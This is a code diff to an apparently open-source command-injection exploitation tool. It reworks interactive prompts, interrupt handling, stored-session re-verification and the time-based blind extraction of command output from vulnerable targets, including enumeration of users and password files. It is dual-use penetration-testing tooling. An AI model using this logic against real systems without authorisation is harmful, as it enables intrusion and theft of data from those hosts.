warn_msg += auth_type.lower() + ") than that you have provided (" warn_msg += menu.options.auth_type + ")." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - message = "How do you want to proceed? [(C)ontinue/(s)kip] > " - proceed_option = common.read_input(message, default="C", check_batch=True) - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - return False - elif proceed_option.lower() == "c": - return True - elif proceed_option.lower() == "q": - raise SystemExit() - else: + message = "How do you want to proceed? [(C)ontinue/(s)kip] " + while True: + proceed_option = (common.read_input(message, default="C", check_batch=True) or "C").strip().lower() + if proceed_option in ("c", "s", "q"): + break common.invalid_option(proceed_option) - pass + if proceed_option == "s": + return False + elif proceed_option == "c": + return True + elif proceed_option == "q": + raise SystemExit() """ Retrieve everything from the supported enumeration options. @@ -1962,7 +2053,7 @@ def check_encoders(payload): for encode_type in list(settings.MULTI_ENCODED_PAYLOAD): if encode_type == 'base64encode' or encode_type == 'hexencode': while True: - message = "Do you want to keep using the '" + encode_type + "' tamper script? [y/N] > " + message = "Do you want to keep using the '" + encode_type + "' tamper script? [y/N] " procced_option = common.read_input(message, default="N", check_batch=True) if procced_option in settings.CHOICE_YES: break @@ -2020,7 +2111,7 @@ def check_encoders(payload): if is_decoded: while True: message = "The value appears to be " + encoded_with + "-encoded. " - message += "Do you want to use the '" + encoded_with + "encode' tamper script? [Y/n] > " + message += "Do you want to use the '" + encoded_with + "encode' tamper script? [Y/n] " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: break @@ -2332,7 +2423,7 @@ def process_data(data_type, http_request_method): while True: info_msg = str(data_type) + " data found in " + str(http_request_method) + " body." message = info_msg - message += " Do you want to process it? [Y/n] > " + message += " Do you want to process it? [Y/n] " process = common.read_input(message, default="Y", check_batch=True) if process in settings.CHOICE_YES: return True @@ -2989,13 +3080,13 @@ def define_py_working_dir(): if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.alter_shell: while True: message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - message += "' as Python working directory on the target host? [Y/n] > " + message += "' as Python working directory on the target host? [Y/n] " python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: message = "Please provide a custom working directory for Python (e.g. '" - message += settings.WIN_PYTHON_INTERPRETER + "') > " + message += settings.WIN_PYTHON_INTERPRETER + "') " settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) break else: @@ -3111,7 +3202,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon else: default_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) message = "Enter a writable directory to use for file operations (e.g. '" - message += default_root_dir + "') > " + message += default_root_dir + "') " settings.WEB_ROOT = common.read_input(message, default=default_root_dir, check_batch=True) if len(settings.WEB_ROOT) == 0: settings.WEB_ROOT = default_root_dir @@ -3189,7 +3280,7 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) while True: message = "Insufficient permissions on directory '" + settings.WEB_ROOT + "'. " - message += "Do you want to use '" + tmp_path + "' instead? [Y/n] > " + message += "Do you want to use '" + tmp_path + "' instead? [Y/n] " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True @@ -3222,8 +3313,9 @@ def time_related_timesec(): else: min_safe_delay = settings.MIN_SAFE_TIMESEC # Never start below the measured baseline, or normal slow responses look delayed. + # x2: detection-phase checks run before the adaptive baseline has enough samples to take over, so this flat margin needs to hold up on its own. if settings.URL_TIME_RESPONSE: - min_safe_delay = max(min_safe_delay, settings.URL_TIME_RESPONSE + settings.TIME_DELAY_STEP) + min_safe_delay = max(min_safe_delay, settings.URL_TIME_RESPONSE + settings.TIME_DELAY_STEP * 2) if settings.TIME_RELATED_ATTACK and settings.TIMESEC < min_safe_delay: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Adjusting '--time-sec' to minimum safe delay of " + str(min_safe_delay) + " second" + ("s" if min_safe_delay > 1 else "") + ". In case of inconsistencies, it will be auto-increased." @@ -3336,12 +3428,12 @@ def shell_options(option): def set_php_working_dir(): while True: message = "Do you want to use '" + settings.WIN_PHP_DIR - message += "' as PHP working directory on the target host? [Y/n] > " + message += "' as PHP working directory on the target host? [Y/n] " php_dir = common.read_input(message, default="Y", check_batch=True) if php_dir in settings.CHOICE_YES: break elif php_dir in settings.CHOICE_NO: - message = "Please provide a custom working directory for PHP (e.g. '" + settings.WIN_PHP_DIR + "') > " + message = "Please provide a custom working directory for PHP (e.g. '" + settings.WIN_PHP_DIR + "') " settings.WIN_PHP_DIR = common.read_input(message, default=settings.WIN_PHP_DIR, check_batch=True) settings.USER_DEFINED_PHP_DIR = True break @@ -3355,12 +3447,12 @@ def set_php_working_dir(): def set_python_working_dir(): while True: message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - message += "' as Python interpreter on the target host? [Y/n] > " + message += "' as Python interpreter on the target host? [Y/n] " python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - message = "Please specify the full path to the Python interpreter executable (e.g., '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') > " + message = "Please specify the full path to the Python interpreter executable (e.g., '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') " settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) settings.USER_DEFINED_PYTHON_DIR = True break @@ -3373,7 +3465,7 @@ def set_python_working_dir(): """ def use_bin_subdir(nc_alternative, shell): while True: - message = "Do you want to use '/bin' standard subdirectory? [y/N] > " + message = "Do you want to use '/bin' standard subdirectory? [y/N] " enable_bin_subdir = common.read_input(message, default="N", check_batch=True) if enable_bin_subdir in settings.CHOICE_YES : nc_alternative = "/bin/" + nc_alternative @@ -3393,12 +3485,12 @@ def use_bin_subdir(nc_alternative, shell): def set_python_interpreter(): while True: message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - message += "' as Python interpreter on the target host? [Y/n] > " + message += "' as Python interpreter on the target host? [Y/n] " python_interpreter = common.read_input(message, default="Y", check_batch=True) if python_interpreter in settings.CHOICE_YES: break elif python_interpreter in settings.CHOICE_NO: - message = "Please specify the full filesystem path of a custom Python interpreter to use (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') > " + message = "Please specify the full filesystem path of a custom Python interpreter to use (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') " settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=settings.LINUX_CUSTOM_PYTHON_INTERPRETER, check_batch=True) settings.USER_DEFINED_PYTHON_INTERPRETER = True break diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 3dadb8e84b..a834801907 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -358,8 +358,18 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time the_type = " parameter" inject_parameter = " '" + check_parameter + "'" - # Estimating the response time (in seconds) - timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) + # Defer response-time estimation until a time-related technique is about to run. + url_time_response = 0 + _time_warmup_done = False + def _ensure_time_warmup(): + nonlocal timesec, url_time_response, _time_warmup_done + if _time_warmup_done or settings.SKIP_COMMAND_INJECTIONS or settings.LOAD_SESSION: + return + _time_warmup_done = True + timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) + if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: + checks.warm_up_response_baseline(url, http_request_method) + checks.check_lagging() # Load modules modules_handler.load_modules(url, http_request_method, filename) @@ -392,14 +402,24 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time info_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - - if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech: - # Check for identified warnings - url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - checks.skip_testing(filename, url) + try: + if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + + if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech: + # Check for identified warnings + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + checks.skip_testing(filename, url) + except KeyboardInterrupt: + # Nested try - a sibling except: here would never catch what handle_detection_interrupt() raises. + try: + checks.handle_detection_interrupt(filename, url) + except (settings.SkipTechniqueException, settings.RetryTechniqueException): + # No technique is running yet at this stage - just skip past heuristics. + pass + except settings.EndDetectionPhaseException: + break if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: settings.HEURISTIC_TEST.POSITIVE = False @@ -430,17 +450,30 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.START_SCANNING = True end_detection = False + def _run_time_based(): + _ensure_time_warmup() + return timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + + def _run_file_based(): + _ensure_time_warmup() + return filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + techniques = [ lambda: classic_command_injection_technique(url, timesec, filename, http_request_method), lambda: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method), - lambda: timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response), - lambda: filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response), + _run_time_based, + _run_file_based, ] - for run_technique in techniques: + technique_idx = 0 + while technique_idx < len(techniques): try: - run_technique() + techniques[technique_idx]() + technique_idx += 1 except settings.SkipTechniqueException: - continue + technique_idx += 1 + except settings.RetryTechniqueException: + # Same index again - redo this technique from the top instead of moving past it. + pass except settings.EndDetectionPhaseException: end_detection = True break @@ -645,6 +678,15 @@ def injection_call(url, check_param): # Final set of injection targets injection_targets = base_params.union(custom_params) + # Test already-confirmed parameters first, not in request order. + if not menu.options.ignore_session and not menu.options.flush_session and os.path.isfile(settings.SESSION_FILE): + def has_stored_session(check_param): + try: + return bool(session_handler.load_stored_techniques(url, check_param, http_request_method)) + except Exception: + return False + check_parameters.sort(key=lambda param: not has_stored_session(param)) + for check_param in check_parameters: contextual_name = get_contextual_name(check_param) if contextual_name in settings.TESTED_PARAMETERS_LIST: diff --git a/src/core/injections/controller/enumeration.py b/src/core/injections/controller/enumeration.py index 6375946081..7eec7352c3 100755 --- a/src/core/injections/controller/enumeration.py +++ b/src/core/injections/controller/enumeration.py @@ -43,7 +43,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, cmd = settings.PS_VERSION if not settings.TIME_RELATED_ATTACK and alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: @@ -87,7 +87,7 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.TARGET_OS == settings.OS.WINDOWS: settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: # Command execution results. if settings.TIME_RELATED_ATTACK: _ = True @@ -136,7 +136,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, cmd = settings.RECOGNISE_OS if not settings.TIME_RELATED_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and alter_shell: cmd = "cmd /c " + cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: # Command execution results. if settings.TIME_RELATED_ATTACK: _ = True @@ -169,7 +169,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if not settings.TIME_RELATED_ATTACK: if settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: # Command execution results. if settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: @@ -199,7 +199,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, cmd = settings.RECOGNISE_HP if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: # Command execution results. if settings.TIME_RELATED_ATTACK: _ = True @@ -245,7 +245,7 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese if settings.TARGET_OS == settings.OS.WINDOWS: settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: # Command execution results. if settings.TIME_RELATED_ATTACK: _ = True @@ -292,7 +292,7 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites cmd = settings.IS_ROOT if settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: # Command execution results. if settings.TIME_RELATED_ATTACK: _ = True @@ -342,7 +342,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese cmd = checks.escape_single_quoted_cmd(cmd) if not settings.TIME_RELATED_ATTACK: cmd = checks.add_new_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: # Command execution results. if settings.TIME_RELATED_ATTACK: _ = True @@ -387,7 +387,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti _ = False cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: # Command execution results. if settings.TIME_RELATED_ATTACK: _ = True @@ -431,7 +431,8 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, cmd = menu.options.os_cmd checks.print_enumenation().print_single_os_cmd_msg(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + _stored_shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if not checks.usable_stored_cmd(_stored_shell) or menu.options.ignore_session: # Command execution results. if settings.TIME_RELATED_ATTACK: _ = True @@ -455,7 +456,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + shell = _stored_shell checks.print_single_os_cmd(cmd, shell, filename) """ @@ -514,7 +515,7 @@ def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, time new_line = True if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " + message = "Do you want to ignore stored session and enumerate again? [y/N] " enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py index f7293d08c4..8227950eb5 100755 --- a/src/core/injections/controller/file_access.py +++ b/src/core/injections/controller/file_access.py @@ -111,7 +111,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector _ = False cmd, file_to_read = checks.file_content_to_read() - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: if settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -154,7 +154,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): if settings.FILE_ACCESS_DONE == True : while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " + message = "Do you want to ignore stored session and access files again? [y/N] " file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: if not menu.options.ignore_session: diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index a5cc050421..88994835b0 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -189,7 +189,9 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, """ def do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): - if settings.THREADS > 1 and settings.THREADED_TIME_RETRIEVAL_CHOICE is None: + # Don't ask if we're just re-verifying a resumed technique. + resuming_stored = settings.LOAD_SESSION and technique in settings.STORED_TECHNIQUES + if settings.THREADS > 1 and settings.THREADED_TIME_RETRIEVAL_CHOICE is None and not resuming_stored: msg = "Multi-threading is considered unsafe for time-related data retrieval. " msg += "Do you want to continue using threads anyway? [Y/n] " settings.THREADED_TIME_RETRIEVAL_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES @@ -261,10 +263,39 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG, prompt=False) cmd = shell = "" checks.check_for_stored_tamper(payload) - settings.FOUND_EXEC_TIME = exec_time - settings.FOUND_DIFF = exec_time - timesec - possibly_vulnerable = True - resumed = True + + # Re-verify the resumed injection point still works, rather than trusting a + # possibly-stale session (target patched, WAF added, app restarted since). + randv1 = random.randrange(0, 4) + randv2 = random.randrange(1, 5) + randvcalc = randv1 + randv2 + if settings.TARGET_OS == settings.OS.WINDOWS: + if alter_shell: + verify_cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + else: + verify_cmd = "powershell.exe -InputFormat none write (" + str(randvcalc) + ")" + else: + verify_cmd = "expr " + str(randv1) + " %2B " + str(randv2) + # Only tfb_injector's false_positive_check() takes OUTPUT_TEXTFILE. + verify_kwargs = dict( + separator=separator, TAG=TAG, cmd=verify_cmd, prefix=prefix, suffix=suffix, + whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, + url=url, vuln_parameter=vuln_parameter, + randvcalc=randvcalc, alter_shell=alter_shell, exec_time=exec_time, + url_time_response=url_time_response, false_positive_warning=False, technique=technique) + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + verify_kwargs["OUTPUT_TEXTFILE"] = OUTPUT_TEXTFILE + # Re-verifying, not detecting - skip the "identified/testing" chatter. + verify_exec_time, verify_output = injector.false_positive_check(**verify_kwargs, silent=True) + + if checks.time_related_shell(url_time_response, verify_exec_time, timesec) and str(verify_output) == str(randvcalc): + settings.FOUND_EXEC_TIME = exec_time + settings.FOUND_DIFF = exec_time - timesec + possibly_vulnerable = True + resumed = True + else: + warn_msg = "The stored session for this technique no longer appears to be valid - re-detecting." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except TypeError: checks.error_loading_session_file() diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 5c742b72f1..751588fc02 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -44,13 +44,11 @@ from src.thirdparty.colorama import Fore, Back, Style, init """ -Abort a thread pool without waiting for running workers. +Abort the thread pool on SystemExit; KeyboardInterrupt is handled by the caller. """ def _abort_executor(executor, exc): executor.shutdown(wait=False, cancel_futures=True) - if isinstance(exc, SystemExit): - os._exit(exc.code if isinstance(exc.code, int) else 0) - os._exit(130) + os._exit(exc.code if isinstance(exc.code, int) else 0) """ The main time-realative command injection exploitation. @@ -139,29 +137,23 @@ def _probe(): if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") - # Once per run, warn if the connection is already too jittery to trust automatically - - # and flag the result as suspect too, not just the message shown before it. + # Flags this run's output as suspect if the connection is (or was already found to be) lagging. def _check_lagging(): nonlocal length_suspect, lagging_detected - if settings.LAGGING_CHECKED: - return - settings.LAGGING_CHECKED = True - if len(settings.RESPONSE_TIMES) > 1 and statistics.pstdev(settings.RESPONSE_TIMES) > settings.WARN_TIME_STDEV: - length_suspect = lagging_detected = settings.JITTER_SEEN = True - warn_msg = "Detected considerable lagging in the connection response(s). " - warn_msg += "Consider using a higher '--time-sec' value (e.g. '5' or more)." - settings.print_data_to_stdout(settings.print_critical_msg(warn_msg)) + if checks.check_lagging(): + length_suspect = lagging_detected = True # Guard timesec so concurrent payloads use the same value for sending and validation. timesec_lock = threading.Lock() - # Shrink the delay once a smaller one keeps reading as clearly delayed, not on one lucky read. + # Shrink the delay on a clearly-good read, but never below the same safety floor the initial calibration used. delay_candidates = [0] * settings.TIME_DELAY_CANDIDATES + min_safe_timesec = checks.time_related_timesec() def _adjust_time_delay(exec_time, lower_limit): nonlocal timesec if settings.ADJUST_TIME_DELAY_DISABLED or settings.ADJUST_TIME_DELAY_CHOICE == False: return - candidate = settings.TIME_DELAY_STEP + int(round(lower_limit)) + candidate = max(settings.TIME_DELAY_STEP + int(round(lower_limit)), min_safe_timesec) with timesec_lock: delay_candidates.insert(0, candidate) del delay_candidates[settings.TIME_DELAY_CANDIDATES:] @@ -252,16 +244,24 @@ def _length_delayed(candidate): def _bisect_length(): lo = int(minlen) - 1 hi = int(maxlen) - 1 - # Confirm the upper-bound fast path twice to avoid locking in on one noisy hit. - if hi >= int(minlen) and _length_delayed(hi) and _length_delayed(hi): - return hi + # Confirm the upper-bound fast path twice, so Continue/verbosity resumes this same step. + while True: + try: + if hi >= int(minlen) and _length_delayed(hi) and _length_delayed(hi): + return hi + break + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) # A single value to find, nothing to distribute across threads - stays serial. while hi - lo > 1: - mid = (lo + hi) // 2 - if _length_delayed(mid): - lo = mid - else: - hi = mid + try: + mid = (lo + hi) // 2 + if _length_delayed(mid): + lo = mid + else: + hi = mid + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) return lo if lo >= int(minlen) else None output_length = _bisect_length() @@ -294,14 +294,21 @@ def _validate_boundary(candidate): revalidations = 0 original_timesec = timesec - while not _validate_boundary(output_length): + while True: + try: + validated = _validate_boundary(output_length) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + continue + if validated: + break was_jittery = settings.JITTER_SEEN settings.JITTER_SEEN = True settings.ADJUST_TIME_DELAY_DISABLED = True max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1) if revalidations >= max_revalidations: length_suspect = True - # Give up on this delay rather than keep it permanently elevated. + # Escalation failed; revert instead of carrying the raised delay into later positions. timesec = settings.CALIBRATED_TIMESEC = original_timesec break revalidations += 1 @@ -351,9 +358,10 @@ def _validate_boundary(candidate): check_end = 0 check_start = time.time() output = [] - # Position -> resolved ordinal, shared by both the threaded and non-threaded loops - - # the single source of truth for the live progress display below. + # Position -> resolved ordinal (>= 0), shared by both loops; -1 marks "attempted, no delay found". + UNRESOLVED_POSITION = -1 results_by_position = {} + failed_positions = set() if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: base_progress_msg = "Retrieving the execution output." else: @@ -369,18 +377,19 @@ def _validate_boundary(candidate): # Share confirmed ordinals across positions; use the observed charset when small enough, with full-range fallback. observed_chars = set() observed_count = [0] + char_frequency = {} observed_chars_lock = threading.Lock() - # Renders positions resolved so far in place (order-independent, since threaded - # completion order isn't position order), "_" for anything not resolved yet. Only - # shows up to the furthest position touched, windowed to PROGRESS_DISPLAY_WIDTH with - # ".." markers for a long value, instead of growing the line without bound. + # Renders positions resolved so far, order-independent: "_" not attempted, "?" no delay found. def _render_output_so_far(): furthest = 0 chars = [] for pos in range(1, output_length + 1): ascii_char = results_by_position.get(pos) - if ascii_char is not None: + if ascii_char == UNRESOLVED_POSITION: + chars.append("?") + furthest = pos + elif ascii_char is not None: ch = chr(ascii_char) chars.append(ch if ch.isprintable() else " ") furthest = pos @@ -429,7 +438,8 @@ def _load_partial_progress(): def _save_progress(): if menu.options.ignore_session: return - resolved = dict((pos, ordinal) for pos, ordinal in results_by_position.items() if ordinal is not None) + resolved = dict((pos, ordinal) for pos, ordinal in results_by_position.items() + if ordinal is not None and ordinal != UNRESOLVED_POSITION) if len(resolved) >= len(positions): value = "".join(chr(resolved[pos]) for pos in positions) else: @@ -472,11 +482,32 @@ def _char_delayed(candidate, operator="-le"): def _bisect_chars(force_full=False): lo = min_ord - 1 hi = max_ord - # Confirm the upper-bound fast path twice to avoid locking in on one noisy hit. - if _char_delayed(hi) and _char_delayed(hi): - return hi + # Confirm the fast path twice; threaded mode re-raises so only the main thread prompts. + while True: + try: + if _char_delayed(hi) and _char_delayed(hi): + return hi, True + break + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) if not force_full: + # Probe frequent characters first; skewed distributions can resolve positions in a few requests. + with observed_chars_lock: + top_candidates = sorted(char_frequency, key=char_frequency.get, reverse=True)[:settings.FREQUENCY_PROBE_TOP_K] + for candidate in top_candidates: + while True: + try: + if _char_delayed(candidate, operator="-eq"): + return candidate, False + break + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) + with observed_chars_lock: eligible = (observed_count[0] >= settings.NARROWING_MIN_OBSERVED and len(observed_chars) <= settings.NARROWING_MAX_SET_SIZE) @@ -485,25 +516,35 @@ def _bisect_chars(force_full=False): # Binary-search the narrowed set by index; keep hi as an exclusive sentinel. nlo, nhi = -1, len(narrowed) while nhi - nlo > 1: - nmid = (nlo + nhi) // 2 - if _char_delayed(narrowed[nmid]): - nlo = nmid - else: - nhi = nmid + try: + nmid = (nlo + nhi) // 2 + if _char_delayed(narrowed[nmid]): + nlo = nmid + else: + nhi = nmid + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) if nlo >= 0: # The value may be outside this set; boundary validation catches and escalates misses. - return narrowed[nlo] + return narrowed[nlo], False # Keep each character's bisection serial; threads only process different positions concurrently. while hi - lo > 1: - mid = (lo + hi) // 2 - if _char_delayed(mid): - lo = mid - else: - hi = mid - return lo if lo >= min_ord else None + try: + mid = (lo + hi) // 2 + if _char_delayed(mid): + lo = mid + else: + hi = mid + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) + return (lo, True) if lo >= min_ord else (None, True) - ascii_char = _bisect_chars() + ascii_char, from_full_range = _bisect_chars() if ascii_char is not None: # Re-probe with equality before accepting - one request when clean, @@ -516,14 +557,30 @@ def _validate_char_boundary(candidate): revalidations = 0 original_timesec = timesec - while not _validate_char_boundary(ascii_char): + while True: + try: + validated = _validate_char_boundary(ascii_char) + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) + continue + if validated: + break + if not from_full_range: + # Re-search the full range before treating a narrowed-set miss as timing noise. + ascii_char, from_full_range = _bisect_chars(force_full=True) + if ascii_char is None: + conn_error_flag = True + break + continue was_jittery = settings.JITTER_SEEN settings.JITTER_SEEN = True settings.ADJUST_TIME_DELAY_DISABLED = True max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1) if revalidations >= max_revalidations: conn_error_flag = True - # Give up on this delay rather than keep it permanently elevated. + # Escalation failed; revert instead of carrying the raised delay into later positions. with timesec_lock: timesec = settings.CALIBRATED_TIMESEC = original_timesec break @@ -537,9 +594,7 @@ def _validate_char_boundary(candidate): new_timesec = timesec warn_msg = "Increasing time delay to " + str(new_timesec) + " second" + ("s" if new_timesec > 1 else "") + "." 